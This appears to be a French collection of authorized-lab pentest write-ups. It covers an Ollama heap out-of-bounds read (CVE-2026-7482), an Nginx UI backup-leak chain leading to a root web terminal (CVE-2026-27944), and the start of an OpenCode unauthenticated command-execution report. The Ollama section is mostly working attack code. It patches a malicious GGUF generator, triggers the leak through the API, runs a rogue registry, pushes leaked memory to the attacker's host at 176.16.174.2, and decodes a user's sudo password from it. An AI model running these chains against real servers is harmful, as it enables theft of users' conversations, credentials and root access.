git clone https://github.com/msuiche/gguf_cve2026_7482
cd gguf_cve2026_7482

Modification du générateur

# Patch 1 : ajouter general.file_type = 1 (F16) et corriger les dimensions
python3 - <<'PY'
from pathlib import Path

p = Path("gguf_cve2026_7482_poc.py")
s = p.read_text()
start = s.index("def generate_poc_quantize_trigger")
end = s.index("def generate_poc_multi_tensor", start)
chunk = s[start:end]

# Dimensions 2D pour simuler un tensor de poids réel
chunk = chunk.replace("dims = [4096]", "dims = [64, 64]", 1)

# Ajouter la métadonnée file_type = F16
chunk = chunk.replace(
    'write_metadata_kv(metadata, "general.alignment",    GGUF_TYPE_UINT32, alignment)',
    'write_metadata_kv(metadata, "general.alignment",    GGUF_TYPE_UINT32, alignment)\n'
    '    write_metadata_kv(metadata, "general.file_type",    GGUF_TYPE_UINT32, 1)  # F16',
    1
)

# Mettre à jour le compteur de métadonnées
chunk = chunk.replace(
    'buf += struct.pack("<Q", 5)  # metadata_kv_count',
    'buf += struct.pack("<Q", 6)  # metadata_kv_count',
    1
)

if "general.file_type" not in chunk or "dims = [64, 64]" not in chunk:
    raise SystemExit("Correction non appliquée")

p.write_text(s[:start] + chunk + s[end:])
print("[+] Patch appliqué")
PY

Explication ligne par ligne :

• dims = [64, 64] : tensor 2D de 64×64 = 4 096 éléments F16 = 8 192 bytes déclarés
• general.file_type = 1 : déclare le modèle comme F16, condition nécessaire pour la quantification
• Le compteur passe de 5 à 6 métadonnées

# Générer les fichiers GGUF
python3 gguf_cve2026_7482_poc.py

Sortie observée :

[+] POC variant 2 written to: poc_bleeding_llama.gguf
    Tensor: blk.0.attn_q.weight
    Declared shape: [64, 64] × F16 = 8192 bytes
    Actual data on disk: 256 bytes
    OOB read window: 7936 bytes
    Attack vector: /api/create quantize=F32 → ConvertToF32 OOB → /api/push exfil

Agrandissement de la fenêtre de leak (itération 2)

Après un premier test avec [64,64] qui ne contenait pas le flag, on agrandit les dimensions :

python3 - <<'PY'
from pathlib import Path
p = Path("gguf_cve2026_7482_poc.py")
s = p.read_text()
assert "dims = [64, 64]" in s
p.write_text(s.replace("dims = [64, 64]", "dims = [512, 512]", 1))
print("[+] Dimensions agrandies à [512, 512]")
PY

python3 gguf_cve2026_7482_poc.py

Résultat : Tensor de 512×512 = 262 144 éléments F16 = 524 288 bytes déclarés, avec seulement 256 bytes réels → fenêtre OOB de ~524 032 bytes de mémoire heap.

Lien avec l’étape suivante : Le GGUF malveillant est prêt. Il faut l’envoyer à Ollama via /api/blobs.

7. Étape 4 — Upload du blob GGUF

F=poc_bleeding_llama.gguf
SHA=$(sha256sum "$F" | awk '{print $1}')
echo "[+] SHA256: $SHA"

curl -i -X POST \
  "http://176.16.174.3:11434/api/blobs/sha256:$SHA" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @"$F"

Explication des options :

• sha256sum : calcule l’empreinte du fichier. Ollama utilise ce hash comme identifiant unique du blob (content-addressed storage)
• POST /api/blobs/sha256:<hash> : endpoint d’Ollama pour stocker un fichier blob identifié par son hash
• Content-Type: application/octet-stream : indique des données binaires brutes
• --data-binary : envoie le fichier sans transformation (sans convertir \n etc.)
• -i : affiche les headers HTTP de la réponse

Sortie observée :

HTTP/1.1 201 Created
Date: Thu, 29 Oct 2026 12:17:42 GMT
Content-Length: 0

Analyse : 201 Created confirme qu’Ollama a accepté et stocké le blob dans /usr/share/ollama/.ollama/models/blobs/sha256-<hash>. À ce stade, le fichier est sur le serveur mais n’a pas encore été traité.

Lien avec l’étape suivante : Le blob est disponible sur la cible. On peut maintenant le référencer dans une requête /api/create pour déclencher la quantification vulnérable.

8. Étape 5 — Création du modèle et déclenchement du OOB read

DEST="http://176.16.174.2:5000/hollowford/leaked_mem:latest"

curl -N -sS -X POST http://176.16.174.3:11434/api/create \
  -H "Content-Type: application/json" \
  -d "{\"model\":\"$DEST\",\"files\":{\"model.gguf\":\"sha256:$SHA\"},\"quantize\":\"F32\",\"stream\":false}"

Explication des champs JSON :

Ce qui se passe côté serveur :

1. Ollama parse le GGUF → trouve le tensor blk.0.attn_q.weight
2. Lit les métadonnées : shape=[512,512], type=F16, 524288 bytes déclarés
3. N'a que 256 bytes réels dans le fichier
4. ConvertToF32() alloue 524288 * 4 = 2 097 152 bytes de destination
5. Copie depuis le heap : 256 bytes du fichier + 524032 bytes de mémoire adjacente
6. Ces 524032 bytes contiennent les conversations en cours !
7. Sauvegarde le résultat comme nouveau fichier GGUF

Sortie observée :

{"status":"parsing GGUF"}
{"status":"success"}

Pourquoi success ne suffit pas : La réponse HTTP ne contient pas le modèle. Le modèle quantifié (avec la mémoire leakée) est stocké côté serveur. Il faut /api/push pour le récupérer.

Lien avec l’étape suivante : Le modèle corrompu existe sur la cible. Il faut maintenant un registry HTTP sur Kali pour le recevoir.

9. Étape 6 — Mise en place du registry récepteur sur Kali

Ollama utilise le protocole OCI Distribution Spec pour pusher des modèles. Il faut implémenter les endpoints suivants :

mkdir -p /tmp/registry/blobs

cat > /tmp/registry/registry.py << 'EOF'
import http.server, os

SAVE_DIR = '/tmp/registry/blobs'
os.makedirs(SAVE_DIR, exist_ok=True)
HOST = '176.16.174.2:5000'
counter = [0]

class Handler(http.server.BaseHTTPRequestHandler):
    def do_HEAD(self):
        # Ollama vérifie si le blob existe déjà
        # On répond 404 → Ollama va l'uploader
        self.send_response(404)
        self.end_headers()

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(b'{}')

    def do_POST(self):
        # Ollama demande une URL d'upload
        length = int(self.headers.get('Content-Length', 0))
        self.rfile.read(length)
        uuid = counter[0]; counter[0] += 1
        # On retourne une URL complète avec le host
        location = f'http://{HOST}/v2/upload/blobs?uuid={uuid}'
        self.send_response(202)
        self.send_header('Location', location)
        self.send_header('Content-Length', '0')
        self.end_headers()

    def do_PATCH(self):
        # Ollama envoie les données du blob ici
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        uuid = counter[0]; counter[0] += 1
        fname = f'{SAVE_DIR}/blob_{uuid}_{length}.bin'
        with open(fname, 'wb') as f:
            f.write(body)
        print(f'[+] BLOB RECU: {fname} ({length} bytes)')
        put_url = f'http://{HOST}/v2/upload/blobs?uuid={uuid}&done=1'
        self.send_response(202)
        self.send_header('Location', put_url)
        self.send_header('Range', f'0-{length}')
        self.send_header('Content-Length', '0')
        self.end_headers()

    def do_PUT(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        if length > 0:
            uuid = counter[0]; counter[0] += 1
            fname = f'{SAVE_DIR}/blob_put_{uuid}_{length}.bin'
            with open(fname, 'wb') as f:
                f.write(body)
            print(f'[+] PUT BLOB: {fname} ({length} bytes)')
        self.send_response(201)
        self.send_header('Docker-Content-Digest', 'sha256:0000')
        self.send_header('Content-Length', '0')
        self.end_headers()

    def log_message(self, fmt, *args):
        pass

server = http.server.HTTPServer(('0.0.0.0', 5000), Handler)
print('[*] Registry pret sur port 5000')
server.serve_forever()
EOF

python3 /tmp/registry/registry.py &
echo "[+] Registry lancé en arrière-plan"

Points critiques de l’implémentation :

• Le Location header du POST doit contenir l’URL complète avec le host (http://176.16.174.2:5000/...). Sans ça, Ollama génère une URL invalide sans host et boucle indéfiniment
• Le PATCH doit sauvegarder les données ET retourner un nouveau Location pour le PUT final
• Le HEAD doit retourner 404 pour forcer l’upload (si 200, Ollama croit que le blob existe déjà)

Lien avec l’étape suivante : Le registry est prêt à recevoir. On peut maintenant lancer le push.

10. Étape 7 — Exfiltration via /api/push

Préparation : copier le modèle sous le nom du registry

# D'abord copier sous le bon nom pour que le manifest existe
curl -s -X POST http://176.16.174.3:11434/api/copy \
  -H "Content-Type: application/json" \
  -d '{"source":"leaked_mem","destination":"176.16.174.2:5000/hollowford/leaked_mem:latest"}'

Push du modèle

curl -N -sS -X POST http://176.16.174.3:11434/api/push \
  -H "Content-Type: application/json" \
  -d '{"model":"176.16.174.2:5000/hollowford/leaked_mem:latest","insecure":true,"stream":false}'

Explication des options :

• /api/push : demande à Ollama d’envoyer les couches du modèle vers un registry externe
• model : doit correspondre exactement au nom sous lequel le modèle a été créé/copié
• insecure: true : autorise HTTP non chiffré (notre registry n’a pas de TLS)
• Le nom 176.16.174.2:5000/hollowford/leaked_mem:latest dit à Ollama de pusher vers notre registry Kali

Sortie observée sur le terminal du registry :

[HEAD] /v2/hollowford/leaked_mem/blobs/sha256:03d1f1cc...
[POST] /v2/hollowford/leaked_mem/blobs/uploads/
[+] Upload URL: http://176.16.174.2:5000/v2/upload/blobs?uuid=14
[PATCH] /v2/upload/blobs?uuid=14
[+] BLOB RECU: /tmp/registry/blobs/blob_15_1048960.bin (1048960 bytes)
[PUT] /v2/upload/blobs?...done=1...
[+] BLOB RECU: /tmp/registry/blobs/blob_18_266.bin (266 bytes)
[PUT] /v2/hollowford/leaked_mem/manifests/latest
[+] PUT BLOB: /tmp/registry/blobs/blob_put_..._410.bin (410 bytes)

Sortie curl :

{"status":"success"}

Analyse des blobs reçus :

Lien avec l’étape suivante : On a reçu ~1 MB de données. La mémoire leakée est dedans, encodée en F32. Il faut la décoder.

11. Étape 8 — Décodage et extraction du flag

Script de décodage

cat > /tmp/decode_leak.py << 'EOF'
import sys, struct, os

def read_str(f):
    length = struct.unpack('<Q', f.read(8))[0]
    return f.read(length).decode('utf-8', errors='replace')

def extract_strings(data, min_len=6):
    strings = []
    current = bytearray()
    for b in data:
        if 32 <= b < 127:
            current.append(b)
        else:
            if len(current) >= min_len:
                strings.append(current.decode('ascii'))
            current = bytearray()
    if len(current) >= min_len:
        strings.append(current.decode('ascii'))
    return strings

path = sys.argv[1]
with open(path, 'rb') as f:
    magic = f.read(4)
    assert magic == b'GGUF', f"Pas un GGUF: {magic}"
    version = struct.unpack('<I', f.read(4))[0]
    tensor_count = struct.unpack('<Q', f.read(8))[0]
    meta_count = struct.unpack('<Q', f.read(8))[0]

    # Sauter les métadonnées
    for _ in range(meta_count):
        key = read_str(f)
        vtype = struct.unpack('<I', f.read(4))[0]
        if vtype == 8: read_str(f)
        elif vtype in (4, 6): f.read(4)
        elif vtype in (5, 10): f.read(8)
        elif vtype == 1: f.read(1)
        else: f.read(4)

    # Lire les tenseurs
    tensors = []
    for _ in range(tensor_count):
        name = read_str(f)
        ndims = struct.unpack('<I', f.read(4))[0]
        dims = [struct.unpack('<Q', f.read(8))[0] for _ in range(ndims)]
        dtype = struct.unpack('<I', f.read(4))[0]
        offset = struct.unpack('<Q', f.read(8))[0]
        tensors.append((name, dims, dtype, offset))

    # Aligner sur 32 bytes
    pos = f.tell()
    aligned = ((pos + 31) // 32) * 32
    f.seek(aligned)
    data_start = f.tell()
    raw = f.read()

print(f"Taille du blob de données: {len(raw)} bytes")

# Reconvertir F32 → F16 → bytes
num_f32 = len(raw) // 4
f32_values = struct.unpack(f'<{num_f32}f', raw[:num_f32*4])

# Convertir chaque F32 en F16 et récupérer les bytes
import struct as st
reconstituted = bytearray()
for v in f32_values:
    try:
        h = st.pack('<e', max(-65504.0, min(65504.0, v)))
        reconstituted.extend(h)
    except:
        reconstituted.extend(b'\x00\x00')

# Ignorer les 256 premiers bytes (données originales du PoC)
leak_zone = bytes(reconstituted[256:])

print(f"Mémoire reconstituée: {len(leak_zone)} bytes")
print("\n=== CHAÎNES LISIBLES ===")
for s in extract_strings(leak_zone, min_len=8):
    print(s)
EOF

Explication du décodeur (étape par étape) :

1. Parse le header GGUF : magic, version, nombre de tenseurs et métadonnées
2. Saute les métadonnées : pour arriver aux définitions de tenseurs
3. Lit les tenseurs : nom, dimensions, type (F32 après quantification), offset
4. S’aligne sur 32 bytes : le format GGUF aligne les données sur 32 bytes
5. Lit les données brutes : ce sont des valeurs F32 (4 bytes chacune)
6. Reconvertit F32 → F16 : l’opération inverse de ConvertToF32. Chaque valeur F32 redevient 2 bytes F16, reconstituant les bytes originaux de la mémoire
7. Ignore les 256 premiers bytes : ce sont les vraies données du PoC, pas la mémoire leakée
8. Extrait les chaînes ASCII : cherche des séquences d’au moins 8 caractères imprimables

Exécution et résultat

python3 /tmp/decode_leak.py /tmp/registry/blobs/blob_15_1048960.bin | tee /tmp/decode_out.txt

grep -aiEn 'flag|hollowford|password|sudo|secret' /tmp/decode_out.txt

Extrait de sortie observé :

Mémoire reconstituée : 524 032 octets

=== CHAÎNES LISIBLES ===
...
You are a helpful AI assistant.
...
<|user|>
Hey AI, quick ops question. I am setting up a pg_dump cron job
and it keeps failing with sudo: no tty present. I have my sudo
password handy when running it manually -- the password is
flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d -- and that always
works interactively. Here is my crontab line:
0 2 * * * /usr/local/bin/backup.sh
...

Analyse : Un utilisateur avait posé une question à l’assistant IA en incluant son mot de passe sudo dans le message. Ce message était stocké en mémoire heap du processus Ollama. Notre OOB read l’a capturé.

🏁 Flag

flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d

12. Erreurs rencontrées et résolutions

13. Conclusion

Récapitulatif technique

CVE-2026-7482 (Bleeding Llama) est une vulnérabilité sans authentification requise qui permet à n’importe qui ayant accès au port 11434 d’Ollama de lire des portions arbitraires de la mémoire heap du processus. La chaîne d’exploitation ne requiert que 3 appels API.

Impact réel : Sur un Ollama exposé sur internet (~300 000 instances selon les rapports), n’importe qui peut extraire :

• Les system prompts (potentiellement confidentiels)
• L’historique des conversations de tous les utilisateurs
• Les clés API, tokens et mots de passe transmis dans les messages
• Les variables d’environnement du processus

Remédiation

• ✅ Mettre à jour Ollama vers la version ≥ 0.17.1
• ✅ Ne jamais exposer le port 11434 sur internet sans authentification
• ✅ Utiliser un reverse proxy avec authentification devant Ollama

Flag final

flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d

14. Références

CVE et bases de données de vulnérabilités

Analyses et articles techniques

Preuves de concept (PoC) publics

Code source Ollama vulnérable

Format GGUF

Outils utilisés dans ce lab

Versions concernées

Identifiants techniques

• CWE-125 : Out-of-bounds Read
• CVSS v3.1 Score : 9.1 (Critique) — vecteur réseau, sans authentification, confidentialité haute
• CAPEC : patterns d’attaque liés à la lecture hors limites de buffers heap

Cible déclarée : 176.16.164.232 Interface observée : http://176.16.164.232:18082/ Contexte : lab autorisé ; la preuve a été limitée à l’extraction d’une sauvegarde publique, son déchiffrement hors ligne, puis à la lecture du fichier de flag via le terminal web Résultat : ✅ flag local récupéré via le terminal web, dans un conteneur avec uid=0(root)

⚠️ Précaution de publication : la clé/IV de déchiffrement, le secret de nœud, le hash bcrypt et le mot de passe du compte de lab ne sont pas reproduits dans ce rapport.

1. Résumé du résultat

La reconnaissance initiale a trouvé SSH sur le port 22, mais aucun service HTTP visible dans le scan par défaut. Une énumération de tous les ports TCP a ensuite découvert le port 18082/tcp, qui servait une interface Nginx UI.

L’endpoint /api/backup répondait sans authentification et livrait une archive accompagnée d’un en-tête X-Backup-Security contenant la clé et l’IV de déchiffrement. Une fois la sauvegarde déchiffrée hors ligne, le fichier app.ini extrait a révélé un secret de nœud ([node] secret). Ce secret, rejoué dans l’en-tête X-Node-Secret, a authentifié des appels à l’API /api/nodes et permis la création d’un compte de lab. La connexion à l’interface web avec ce compte a donné accès à un terminal intégré, dont le shell tournait avec uid=0(root) dans le conteneur Nginx UI. La lecture de /home/local.txt a renvoyé :

flag_b5c64043_fc4c_43d3_9210_90fa2c22f5c0

Le fichier /root/proof.txt, lui, n’existait pas dans ce conteneur — ce qui confirme des privilèges root locaux au conteneur, pas nécessairement à l’hôte ou à un autre conteneur du nœud distant.

2. CVE-2026-27944 en bref

L’avis du projet Nginx UI décrit un endpoint de sauvegarde (/api/backup) accessible sans authentification, qui divulgue dans sa réponse la clé et l’IV nécessaires au déchiffrement de l’archive qu’il sert. Une fois l’archive déchiffrée, le fichier de configuration app.ini qu’elle contient expose à son tour le secret de nœud ([node] secret), lequel peut authentifier des requêtes API sans mot de passe via l’en-tête X-Node-Secret.

Dans ce lab, la chaîne complète — fuite de sauvegarde, déchiffrement, extraction du secret, réutilisation API — a été rejouée de bout en bout contre l’hôte autorisé. La preuve comportementale est la création réussie d’un compte via l’API authentifiée par le secret de nœud, puis l’obtention d’un shell root par le terminal web intégré à l’interface.

3. Méthode et lien entre les étapes

La séquence suivie est :

1. repérer les ports ouverts ;
2. énumérer tous les ports TCP après un scan initial incomplet ;
3. identifier l’interface Nginx UI sur le port découvert ;
4. extraire la sauvegarde exposée par /api/backup ;
5. déchiffrer la sauvegarde hors ligne avec la clé/IV divulguées ;
6. analyser les fichiers extraits pour trouver le secret de nœud ;
7. réutiliser ce secret pour authentifier des appels API et créer un compte ;
8. se connecter à l’interface web et ouvrir le terminal intégré ;
9. lire le fichier du flag dans ce terminal.

Chaque étape réduit une incertitude nécessaire à la suivante. L’énumération complète des ports permet de joindre la bonne application ; la fuite de sauvegarde fournit la matière à déchiffrer ; le déchiffrement révèle le secret de nœud ; ce secret ouvre l’accès à l’API, qui permet de créer un compte légitime ; ce compte donne enfin accès au terminal web, où le flag est lu directement.

ℹ️ Une tentative de casse du hash bcrypt trouvé dans la base SQLite (compte admin) avec John et rockyou.txt a été interrompue après environ 0,01 % de la wordlist sans résultat : cette piste n’a pas été nécessaire pour la suite.

4. Étape 1 — Scan initial

nmap -A 176.16.164.232

Sortie pertinente :

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.14

Pourquoi cette étape : le scan initial identifie les services accessibles sur les ports courants. Il a confirmé la présence de SSH, mais n’a affiché aucun service HTTP — ce qui ne démontrait pas que tous les autres ports étaient fermés, seulement que l’ensemble de ports par défaut de Nmap ne couvrait rien de pertinent ici.

Interprétation : l’absence de service web dans ce premier scan ne permet pas de conclure à son absence réelle sur l’hôte ; elle appelle une énumération plus large.

5. Étape 2 — Énumération complète des ports TCP

nmap -Pn -p- --open -sV -T4 176.16.164.232

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.14
18082/tcp open  http    nginx 1.29.3

Explication des options :

• -Pn demande à Nmap de ne pas effectuer de découverte d’hôte préalable
• -p- parcourt tous les ports TCP
• --open n’affiche que les ports trouvés ouverts
• -sV tente d’identifier les versions de service
• -T4 choisit une vitesse de scan rapide

Interprétation : le service HTTP se trouvait en réalité sur le port 18082, pas sur le port 9000 mentionné plus tard dans la configuration interne de l’application. Ce dernier est un port d’écoute interne, non exposé directement sur l’adresse cible.

6. Étape 3 — Extraire la sauvegarde via /api/backup

Une première requête au port interne a logiquement échoué :

curl -i --max-time 8 http://176.16.164.232:9000/api/backup

curl: (7) Failed to connect to 176.16.164.232 port 9000

ℹ️ Cet échec ne signale pas une erreur de méthode ; il confirme simplement que le port 9000 n’est pas directement joignable depuis l’extérieur, contrairement au port 18082 découvert à l’étape précédente.

La requête a été répétée sur le port réellement exposé :

curl -sS --max-time 30 \
  -D headers.txt \
  -o backup.zip \
  http://176.16.164.232:18082/api/backup

Vérification des métadonnées :

head -n 1 headers.txt
grep -iE '^(Content-Type|Content-Disposition):' headers.txt
grep -qi '^X-Backup-Security:' headers.txt && echo 'X-Backup-Security présent'
file backup.zip

HTTP/1.1 200 OK
Content-Type: application/zip
Content-Disposition: attachment; filename=backup-20261023-133839.zip
X-Backup-Security présent
backup.zip: Zip archive data, made by v2.0 UNIX

Pourquoi cette étape : confirmer que /api/backup répond sans authentification et observer l’en-tête X-Backup-Security, qui est le point de fuite décrit par l’avis CVE-2026-27944.

Interprétation : l’endpoint a livré une archive complète accompagnée des secrets de déchiffrement dans sa propre réponse HTTP — c’est la condition initiale de la vulnérabilité. Les valeurs de cet en-tête ne sont pas reproduites ici.

7. Étape 4 — Déchiffrement hors ligne

L’installation de PyCryptodome via pip a échoué, faute d’accès réseau depuis Kali vers PyPI :

Failed to establish a new connection: [Errno 101] Network is unreachable

OpenSSL (version 3.6.4) était disponible localement. Un script Python a donc lu la clé et l’IV depuis headers.txt puis appelé openssl enc -d -aes-256-cbc :

python3 decrypt_openssl.py

Déchiffré : backup_out/hash_info.txt
Extrait : backup_out/nginx-ui
Extrait : backup_out/nginx

Fichiers extraits recensés :

backup_out/hash_info.txt
backup_out/nginx/sites-available/dojo-internal.conf
backup_out/nginx/sites-enabled/dojo-internal.conf
backup_out/nginx/mime.types
backup_out/nginx/modules
backup_out/nginx/conf.d/sites-enabled.conf
backup_out/nginx/conf.d/nginx-ui.conf
backup_out/nginx/nginx.conf
backup_out/nginx/fastcgi_params
backup_out/nginx/scgi_params
backup_out/nginx/uwsgi_params
backup_out/nginx-ui/database.db
backup_out/nginx-ui/app.ini

Pourquoi cette étape : l’archive seule ne sert à rien sans déchiffrement ; cette étape transforme la fuite réseau en données exploitables localement.

Interprétation : hash_info.txt indiquait une version 2.3.2 de Nginx UI. Un premier grep sur les fichiers extraits n’a trouvé aucune occurrence de flag ou bak2root en texte clair — ce qui ne suffisait pas à exclure des indices dans la base SQLite, qui restait à examiner.

8. Étape 5 — Analyser la configuration et la base extraites

app.ini contenait notamment :

[server]
host = 127.0.0.1
port = 9000

[node]
name = SecDojo Lab
secret = <masqué>

Le virtual host sauvegardé a été affiché avec :

nl -ba backup_out/nginx/sites-available/dojo-internal.conf

server {
    listen 8081;
    listen [::]:8081;
    server_name dojo-internal.local;

    # internal-only lab vhost
    location / {
        add_header Content-Type text/plain;
        return 200 "restricted internal node\n";
    }
}

Pourquoi cette étape : identifier dans la configuration extraite un secret réutilisable côté API, plutôt que de s’arrêter à la seule lecture de fichiers de configuration Nginx.

Interprétation : la base SQLite contenait une table users avec un compte admin (hash bcrypt $2a$, 60 caractères) et une table nodes référençant un nœud node-1 vers http://nginx-demo-2:9000, rapporté hors ligne (status: false). Un test avec l’en-tête Host: dojo-internal.local sur le port exposé a renvoyé la page HTML standard de Nginx UI (200 OK), pas le texte « restricted internal node » : ce vhost est donc resté interne et n’a pas été atteint directement. Le secret [node] extrait d’app.ini, lui, s’est avéré être la clé réellement exploitable.

9. Étape 6 — Vérifier l’état d’installation puis réutiliser le secret de nœud

curl -sS -i --max-time 10 \
  -H 'Host: dojo-internal.local' \
  http://176.16.164.232:18082/api/install

{"lock":true,"timeout":false}

Pourquoi cette étape : vérifier que l’installation était verrouillée avant toute autre hypothèse — il n’était donc pas justifié de supposer qu’une fenêtre non authentifiée de restauration (/api/restore) était ouverte, et aucune restauration forgée n’a été tentée.

Le secret [node] extrait localement a ensuite été transmis dans l’en-tête X-Node-Secret :

GET /api/nodes
X-Node-Secret: <valeur locale masquée>

Interprétation : la réponse HTTP 200 a retourné les métadonnées du nœud (URL http://nginx-demo-2:9000, état false, version vide). Cela confirme que le secret de nœud divulgué par la sauvegarde authentifie bien des requêtes API sans mot de passe, comme le décrit la documentation du projet.

10. Étape 7 — Créer un compte de lab via l’API

Un compte aka a été créé avec le même secret de nœud transmis depuis le fichier local :

HTTP 200
{"id":2,"created_at":"2026-10-23T13:58:50.572237208Z","updated_at":"2026-10-23T13:58:50.572237208Z","name":"aka","status":true,"enabled_2fa":false,"language":"en"}

💡 Les premières commandes id, cat /home/local.txt et cat /root/proof.txt avaient d’abord été saisies dans le terminal local Kali : elles affichaient l’utilisateur hitotsu et des erreurs de fichier absent ou d’accès refusé. Elles ne décrivaient donc pas la cible — il fallait saisir ces commandes dans le terminal web Nginx UI, pas à l’invite Kali.

Pourquoi cette étape : transformer l’accès API en accès interactif réel sur l’interface, via un compte créé légitimement grâce au secret rejoué.

11. Étape 8 — Connexion à l’interface web et ouverture du terminal

Après la création du compte aka, l’interface Nginx UI a été ouverte dans le navigateur à l’adresse suivante :

http://176.16.164.232:18082/

Une fois connecté avec le compte de lab, il fallait sélectionner Terminal dans le menu latéral gauche. La capture ci-dessous montre l’interface sur http://176.16.164.232:18082/#/terminal, avec la rubrique Terminal sélectionnée et les onglets de terminal visibles.

Le grand panneau noir correspond au terminal intégré. Il faut cliquer à l’intérieur de ce panneau pour lui donner le focus, puis saisir les commandes à l’invite qui apparaît. Les commandes doivent être tapées dans ce panneau, pas dans le terminal local Kali. Si le panneau Assistant affiche une erreur de connexion à OpenAI, cela concerne uniquement l’assistant intégré ; fermer ou masquer ce panneau ne ferme pas le terminal.

12. Étape 9 — Ouvrir le terminal web et lire le flag

Connexion à l’interface :

http://176.16.164.232:18082/

Après connexion avec le compte aka, l’onglet Terminal du menu latéral a ouvert un terminal intégré sur http://176.16.164.232:18082/#/terminal.

ℹ️ Si le panneau Assistant affiche une erreur de connexion à OpenAI, cela concerne uniquement l’assistant intégré ; fermer ou masquer ce panneau ne ferme pas le terminal.

Le shell ouvert avait pour invite :

root@8c525d1b69e7:/run/s6-rc:s6-rc-init:ecglpa/servicedirs/nginx-ui#

hostname
id

8c525d1b69e7
uid=0(root) gid=0(root) groups=0(root)

cat /home/local.txt; cat /root/proof.txt

flag_b5c64043_fc4c_43d3_9210_90fa2c22f5c0
cat: /root/proof.txt: No such file or directory

Pourquoi cette étape : confirmer les privilèges (uid=0) avant de lire le fichier cible, puis récupérer le flag.

Interprétation : /home/local.txt a donné le flag ; /root/proof.txt n’existait pas dans ce conteneur. Le flag a donc été récupéré par le terminal web après l’accès API, et non par une restauration modifiée — cette distinction compte, car la piste /api/restore n’a jamais été empruntée dans ce déroulement.

12. Conclusion et remédiation

Le lab a exposé une interface Nginx UI sur 176.16.164.232:18082. L’endpoint /api/backup, accessible sans authentification, a divulgué dans sa propre réponse la clé et l’IV permettant de déchiffrer l’archive qu’il servait. Le fichier app.ini extrait de cette archive a révélé un secret de nœud réutilisable, qui a permis de créer un compte via l’API puis d’ouvrir un shell root dans le conteneur Nginx UI via le terminal web intégré.

La remédiation recommandée est de corriger la version affectée par CVE-2026-27944, de ne jamais transmettre de clé ou d’IV de déchiffrement dans les en-têtes de réponse d’un endpoint de sauvegarde, et de faire tourner (rotate) tout secret de nœud potentiellement exposé par une sauvegarde antérieure à la mise à jour. Restreindre l’accès à /api/backup par authentification et limiter l’exposition réseau des ports internes (9000) réduisent également la surface d’attaque.

ℹ️ La preuve démontrée ici a été limitée à l’extraction et au déchiffrement de la sauvegarde exposée, à la réutilisation du secret de nœud pour créer un compte, puis à la lecture du fichier de flag via le terminal légitime de l’interface. Aucune restauration forgée, exécution de commande via /api/restore, ni altération de configuration n’a été tentée.

Leçons retenues

• Un scan initial sans option -p- peut masquer un service exposé sur un port inhabituel (ici 18082) : l’énumération complète des ports reste indispensable quand le premier scan ne trouve rien de pertinent côté web.
• Un en-tête de réponse HTTP peut à lui seul constituer la fuite critique d’une vulnérabilité : ici, X-Backup-Security livrait la clé/IV nécessaires au déchiffrement, sans qu’aucune authentification ne soit requise pour l’obtenir.
• Un secret retrouvé dans une configuration extraite ([node] secret) peut avoir une portée qui dépasse son fichier d’origine : il a ici authentifié des appels API indépendants de la sauvegarde elle-même.
• Documenter précisément ce qui a été exécuté côté client (Kali) versus dans l’environnement distant atteint (terminal web du conteneur) évite toute confusion sur la portée réelle des preuves — les premières commandes tapées par erreur dans Kali n’apportaient aucune information sur la cible.
• Vérifier l’état d’un endpoint sensible (/api/install verrouillé) avant de formuler une hypothèse d’exploitation évite de tenter des actions non justifiées, comme une restauration forgée qui n’a ici jamais été nécessaire.

Références

• Avis du projet Nginx UI pour CVE-2026-27944 (fuite de clé/IV via /api/backup, réutilisation du secret de nœud X-Node-Secret)

Cible déclarée : 176.16.163.253 Interface observée : http://176.16.163.253:4096/ Contexte : lab autorisé ; la preuve d’exécution a été limitée à id, suivie de la recherche et de la lecture du fichier de flag Résultat : ✅ l’API OpenCode a exécuté une commande sous codesource, le fichier /home/local.txt a révélé le flag

⚠️ Précaution de publication : l’identifiant de session API a été omis. Les réponses JSON sont résumées pour ne pas exposer inutilement les identifiants de messages et de session.

1. Résumé du résultat

La reconnaissance initiale a trouvé SSH sur le port 22. Le port 443 refusait la connexion HTTP. Une énumération de tous les ports TCP a ensuite découvert le port 4096/tcp ; WhatWeb et une requête cURL ont montré que ce port sert une interface web intitulée OpenCode.

Dans le cadre autorisé, une session a été créée par l’API puis la commande inoffensive id a été exécutée au moyen de l’endpoint shell. La réponse a indiqué uid=1001(codesource) gid=1001(codesource). Une recherche limitée aux noms de fichiers susceptibles de contenir le flag a trouvé /home/local.txt. La lecture de ce fichier a renvoyé :

flag_fab05cce_77d9_4a58_8e02_141b3c8265d3

Ces résultats confirment qu’une commande distante non authentifiée a été exécutée dans l’environnement du service exposé. Ils sont compatibles avec CVE-2026-22812, mais les sorties partagées ne montrent pas la version précise d’OpenCode. La présence de l’interface et la réussite de l’API ne permettent donc pas, à elles seules, de certifier la version affectée ; l’avis GitHub indique que les versions antérieures à 1.0.216 sont concernées et que 1.0.216 corrige la faille.

2. CVE-2026-22812 en bref

L’avis GitHub décrit un serveur HTTP OpenCode démarré sans authentification. Il expose notamment un endpoint de session permettant l’exécution de commandes (POST /session/:id/shell), ainsi que d’autres fonctions liées aux terminaux et aux fichiers. Selon cet avis, le serveur peut écouter sur le port 4096 ou un port suivant ; la configuration --mdns peut étendre l’écoute à toutes les interfaces réseau. L’avis classe la vulnérabilité comme de haute sévérité, avec un score CVSS 3.1 de 8.8.

La version corrigée publiée dans l’avis est 1.0.216 ; les versions affectées sont opencode-ai antérieures à celle-ci. Dans ce lab, la preuve comportementale est l’exécution de id via l’API. Elle établit l’impact du service observé, mais ne remplace pas une vérification de version pour attribuer techniquement le résultat à une version précise de la CVE.

3. Méthode et lien entre les étapes

La séquence suivie est :

1. repérer les ports ouverts ;
2. corriger le port après l’échec de la requête vers 443 ;
3. reconnaître l’application OpenCode sur 4096 ;
4. créer une session API ;
5. exécuter une preuve minimale avec id ;
6. localiser le fichier du lab par son nom ;
7. lire le fichier trouvé.

